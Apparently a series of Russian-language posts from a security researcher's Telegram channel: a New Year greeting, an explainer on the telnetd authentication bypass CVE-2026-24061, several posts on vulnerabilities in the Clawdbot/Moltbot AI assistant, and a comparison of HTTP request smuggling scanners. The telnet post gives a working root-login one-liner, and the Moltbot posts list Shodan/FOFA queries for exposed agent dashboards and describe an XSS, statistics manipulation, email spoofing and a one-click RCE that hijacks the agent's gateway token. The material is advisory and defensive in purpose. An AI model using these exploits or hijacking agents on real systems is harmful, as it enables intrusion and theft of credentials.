🐰  #события

➡️✨🍎 С наступающим Новым годом! 🌟✨

Дорогие друзья, поздравляю с праздником нас, вас и ваших близких! Ну и с долгожданными выходными днями, конечно же;

//  В этом году без градостроительства, как в 2023–2024, и арт-выставок, как в 2024–2025 —  такова воля богов, но будем сегодня в завтрашний день смотреть;

Зато есть список книг за год, список прогремевших CVE и тёплые слова!

От лица @HaHacking хочу пожелать каждому из вас замечательнейшего праздника сегодня:

   ✅  Вкуснючих блюд!
   ✅  Отличного настроения!
   ✅  0 страшных инцидентов
   ✅  0 срочных рабочих задач
   ✅  0 гномов-отчётокрадов

➡️Начиная смотреть в завтрашний день:  пусть новый год откроет для нас новые горизонты, чтоб нам было что исследовать, и чтобы это исследование приносило лишь положительные эмоции и всевозможные блага!

⢀⠀⠀⠀⠀⠀⠈  .⠈ ⠀ .⠀⠈⠀⠀⢀    ⠈.     ⠁
⠀⠀.⢀ ⠁  ⠁⠀⠀⠀⢀⠀⠀⡰⡇⠁⠀  ⠁      ⠁  .
⠀⠀⠀⠀     ⠀⠀⠀⠀⠰⢾⠇⠨⡦⠀⠂⠀        ⢀
⢀⠀⠀⠀  ⠁  ⠀⠀⡀⠀⢈⣹⠜⠻⢾⠃      ⢀.    
⠀⠀⢀     ⠀⠀⠀⠁⢠⣿⡵⠾⣻⣶⠿⠦⠀          ⢀
⠀⢀     ⠀⠁⢀⠀⢀⣠⣮⣦⡶⠻⠛⢶⣄⡀⠁     ⠁
⠀      ⠀⠀⠀⢀⣽⠏⠁⣠⣂⣦⣈⣝⣦⣄⠀ ⠀       ⢀
       ⠀⠀⠀⠁⣠⣾⣵⣾⣾⠟⡙⠟⠿⣍⡉⠀⠀⢀
⢀⠁  ⠀⢀⠁⠀⠄⣠⣶⣾⣭⡶⠟⠻⣶⡰⣜⣳⣦⣄⠀⡀    ⠁⢀
      ⠀⠀ ⢀⣠⣴⣿⣋⡴⣪⠎⣄⡙⠻⠿⣯⣉⠉
     ⠀⠂⠀⢀⣉⡭⢿⡛⣛⣵⠎⠀⠙⢾⣶⣦⣭⣷⣦⠐   ⢀
⠁   ⠀ ⢈⣙⣿⡿⠿⠟⣋⢅⡄⡄⡐⣄⢤⣉⠷⢦⣄⣀⠠ 
  \\  ⠐⠾⠿⢽⣷⡶⠶⡿⣓⣭⣾⣿⢷⣬⣓⢿⠿⠿⣯⣉⣁  |/
  _() ⠀ ⠉⠉⠉⠛⠛⠉⢀⣿⢿⡀⠙⠋⠓⠿⠿⠏⠉⠉   ()_
o(_)\\ ⠀ ⠀⠀⠠⠤⠶⠾⢿⡯⠷⠶⠤⠄        //(_)o

<!-- И таких баунти, чтобы через год, в этот же день, икру можно было грести поварёшкой! -->


➡️Enjoy! 🎇

   @HaHacking  🐇 [🎀]

📠 #события #infrastructure #ad #offense

➡️Снова критические уязвимости! ⚡️

В этот раз: обход аутентификации➡️сразу к root! С публичным PoC➕использованием в природе;

CVE-2026-24061 — CVSS (v3) ~9.8, Improper Neutralization of Argument Delimiters in a Command / Argument Injection➡️Authentication Bypass в telnetd: появилась тут и была с нами 10+ лет (GNU InetUtils v1.9.3 – v2.7 / 2015 – 2025 гг.);


1️⃣ В v1.9.3 добавили возможность подставить username из переменной окружения USER, чтобы починить автовход для случаев, когда не была доступна аутентификация Kerberos.

Сервер telnetd обращается к /usr/bin/login (обычно работает из-под root)➕передаёт ему значения для входа, в том числе и USER – вместо %U:

...
char *login_invocation =
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
...

...
    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...

2️⃣ У /usr/bin/login есть флаг -f — пропустить аутентификацию! (например, для автовхода getty)

Ему даже можно передать username / UID пользователя: login [-p] [-s shell] [-h host] [-H] [[-f] username|UID]; // Например, root 🐇


3️⃣ Значение USER не нормализуется; Возможно поместить туда дополнительные флаги для /usr/bin/login➕попросить telnet провести автовход (флаги -a / --login):

USER='-f qwqoro' telnet -a 127.0.0.1‌‎ ‎ ‎ ‎ ‎ 

🔖 seclists.org/oss-sec/2026/q1/89
🔖 safebreach.com/...-cve-2026-24061
💻 github.com/SafeBreach-Labs/CVE-2026-24061
📦 github.com/leonjza/inetutils-telnetd-auth-bypass
🛜 shodan.io/search?query=product:"telnetd"


   @HaHacking  🐇

🦞 #события #ai #offense

➡️Новости из однобуквенной соцсети: куча шума вокруг Clawdbot — ИИ-ассистент, который действительно действует как ассистент:

✅ Управляет почтой
✅ Управляет календарём
✅ Управляет заметками
✅ Управляет соцсетями
✅ Управляет мессенджерами, в т.ч. корпоративными
✅ Управляет паролями
✅ Взаимодействует с браузером
✅ Взаимодействует с системой
✅ Взаимодействует с другими ИИ!

✅ И даже круче: можно поселить его в Telegram бота!
⬜️

Удобно, что он разворачивает собственный шлюз на порту 18789➕веб-интерфейс "Clawdbot Control", который по умолчанию не требует от тебя ничего➡️сотни хостов, где можно пообщаться с Clawdbot в контексте чужих систем:

▪️Shodan: http.title:"Clawdbot Control"
▪️Shodan: http.favicon.hash:-805544463
▪️FOFA:  title=="Clawdbot Control"
▪️FOFA: icon_hash="-805544463"

✍️ На прикреплённом скриншоте показываю как оно выглядит: обнаруженный мной хост, который кто-то уже атаковал;


➡️Последствия ⬇️

⬜️
❌ Утечка конфиденциальной информации (письма, документы, пароли, API-ключи, исходный код, ...)
❌ Удалённое исполнение кода
❌ Финансовые потери
❌ Что ещё нужно? 💀
⬜️

➡️Как обезопасить ⬇️

⬜️
➖Запускать в изолированной среде (не на личной системе, где есть что терять / не на сервере, который доступен снаружи)
➖Выделить боту отдельные эл. почту / номер телефона / аккаунты / ...
➖Настроить bind: "loopback" / bind: "tailnet" вместо bind: "all" в конфигурации шлюза
➖Настроить Pairing для сопряжения пользователь➕бот в рамках мессенджеров / устройство➕бот в рамках системы
➖Настроить белые списки идентификаторов пользователей для мессенджеров
➖Настроить белый список IP
➖Повесить аутентификацию
➖Периодически менять API ключи
➖Настроить лимиты, логи, алерты
➖. . .
⬜️

Тут неприменимы полумеры: важно не забывать, что запрос может прийти и из внутренней сети; Что если его пошлёт соседнее приложение?


➡Напоследок Clawdbot оперативно сменили название на Moltbot! ⚡️

🔖 ‟hacking clawdbot and eating lobster souls”


   @HaHacking  🐇

🦞 #события #ai #web #offense

➡Простите, но продолжение; Хочется обсудить ещё несколько проблем, которые были обнаружены специалистами по безопасности в ИИ-ассистенте Clawdbot Moltbot➕которые могуть быть обнаружены вами в похожих проектах:


0️⃣ E-MAIL SPOOFING

🔖 x.com/slonser_/status/2016114641105998086

Помните ресерч @slonser_notes про проблемы парсинга в почтовых сервисах / библиотеках — ‟Old new email attacks”? Вот ещё один вариант его применения: судя по посту, вектор примерно такой ⬇️

⬜️
▪️ X➡️Y: ✉️
▪️ Moltbot: парсит ✉️ от X➡️передаёт Y

⚡️ НО из-за некорректного парсинга специально сформированного письма Moltbot пишет Y, что письмо пришло от, например, Z

▪️ Y отвечает через Moltbot, думая, что отвечает Z➡️ответ получает X
⬜️

1️⃣ НАКРУТКА СТАТИСТИКИ

🔖 ‟eating lobster souls Part II: the supply chain”

У Moltbot есть собственный Open-Source "магазин" навыков – ClawdHub MoltHub. Когда кто-то устанавливает навык, происходят следующие вызовы:

▪️ downloadZip: собирает навык, формирует архив, вызывает increment;
▪️ increment: делает +1 к статистике по скачиваниям навыка;

*️⃣ Нет: лимитов / привязки к пользователю;
*️⃣ Есть: в других местах – такая проверка IP ⬇️

// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
  const header =
    request.headers.get('cf-connecting-ip') ??
    request.headers.get('x-real-ip') ??
    request.headers.get('x-forwarded-for') ??
    request.headers.get('fly-client-ip')
  if (!header) return null
  if (header.includes(',')) return header.split(',')[0]?.trim() || null
  return header.trim()
}

➡️ Проверка IP адреса доверяет заголовку X-Forwarded-For: значит, перебирая значения заголовка, возможно заставить магазин думать, что установки навыка были "уникальными" — злоумышленник может создать вредоносный навык➕без труда вывести его в топ по скачиваниям ⚡️


2️⃣ XSS через SVG

🔖 ‟eating lobster souls Part III (the finale)”

Наконец, при загрузке навыка в MoltHub, магазин сохраняет информацию о том, какой был указан Content-Type:

// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined‎ ‎ ‎ 

Сохраняет настолько, что при выгрузке навыка пользователем, ему возвращается ровно такой же Content-Type:

// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ 

*️⃣ Нет: фильтрации / санитизации / CSP / отдельного домена для загрузок / ...;
*️⃣ Есть: MoltHub хранит authToken / authRefreshToken / ... в localStorage;

➡️ Если загрузить в навык SVG, внутри которого – XHTML с полезной нагрузкой для эксплуатации XSS, отображение SVG приводило к выполнению JS кода атакующего в контексте clawdhub.com, где явно есть что эксплуатировать➕эксфильтровать ⚡️


3️⃣ 1-CLICK RCE

🔖 ‟One-click RCE on Clawd/Moltbot”
🔗 github.com/ethiack/moltbot-1click-rce

А тут сюр [в хорошем смысле]: ИИ нашёл уязвимость в ИИ (Hackian / Moltbot);

⬜️
В пути к "Clawdbot Control" можно передать параметр gatewayUrl, ссылающийся на WebSocket: {DASHBOARD}/chat?gatewayUrl=wss://{GATEWAY}/gw

▪ Предыдущее значение gatewayUrl переписывается
▪ На новый gatewayUrl сразу приходят токены из localStorage
▪ Далее API запросы будут летать по новому пути;
⬜️

➡ Пользователь может попасть на вредоносный сайт, который будет открывать окно с {DASHBOARD}/chat?gatewayUrl=wss://{MALICIOUS-GATEWAY}/gw➕окно, в котором [после получения токена] произойдёт валидация токена и открытие сессии с ботом, у которого запросят удалённое выполнение команд ⚡


➡Stay safe!

   @HaHacking  🐇

✈️ #web #offense #заметки

➡️Красивый Account Takeover при аутентификации в сервисе через Telegram бота ➖ Обязательно к прочтению, если интересны OAuth баги➕как выглядит whitebox в коммерческих пентестах:


   🧩   ‟Захват аккаунта через telegram-бот: от своего номера к чужому профилю”  (@arkiixBlog)

⬜️
Дано:

⬇️ Telegram бот просит поделиться контактом
⬇️ Записывает номер контакта в session.Phone
⬇️ Сравнивает user_id отправителя / user_id контакта

➡️ Если ок – Присылает ссылку для входа
➡️ Если жизнь ссылки истекла – Предлагает новую (на основе session.Phone)


Задача:
Получить ссылку для входа в другой аккаунт!
⬜️

➡️Спасибо коллегам, кто поучаствовал в создании статьи – получилось здорово😊

   @HaHacking  🐇

🍾 #web #enumeration #offense #инструменты

➡️Сравнение 3 инструментов для обнаружения HTTP Request Smuggling, в том числе — в рамках лабораторий Web Security Academy от PortSwigger:

Всё потому что попался под руку инструмент smugglex — написан на Rust, тестирует веб-приложения на предмет возможности проведения CL.TE, TE.CL, TE.TE, H2C & H2 атак;


   🧩   PortSwigger/http-request-smuggler

➖ Бесплатное расширение для BurpSuite;
➖ Доступна тонкая настройка сканирования;
➖ Результаты анализируешь сам☹️


   🧩   defparam/smuggler

➖ Python-скрипт;
➖ Возможна собственная конфигурация;
➖ Подсвечивает проблемы! ⚡️
➖ [Из коробки] заметил неладное в 12 / 22 лаб;

git clone https://github.com/defparam/smuggler.git
cd smuggler

python3 smuggler.py -u https://█████.web-security-academy.net

   🧩   hahwul/smugglex

➖ CLI на Rust;
➖ Подсвечивает проблемы! ⚡️
➖ [Из коробки] заметил неладное в 16 / 22 лаб;
➖ Превзошёл smuggler в:
▪️CL.0 request smuggling
▪️Client-side desync
▪️Server-side pause-based request smuggling
▪️HTTP request smuggling, obfuscating the TE header

brew install hahwul/smugglex/smugglex

smugglex https://█████.web-security-academy.net

⬜➖⬜➖⬜➖

➡️Если захочется поднять лабораторию, где можно посмотреть на то, как разные HTTP-серверы (36 шт.) / HTTP-прокси (14 шт.) интерпретируют одни и те же запросы — есть HTTP Garden:

   🧩   narfindustries/http-garden


1️⃣ Запуск серверов➕прокси:

./garden.sh start --build gunicorn nginx squid

2️⃣ Запуск UI для взаимодействия:

./garden.sh repl‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ 

3️⃣ Отправка запросов:

garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce squid | fanout | grid

⬜➖⬜➖⬜➖

🔖 ‟Beware the false false-positive: how to distinguish HTTP pipelining from request smuggling” (James Kettle)

💻 github.com/PortSwigger/.../SmugglingOrPipelining.bambda


   @HaHacking  🐇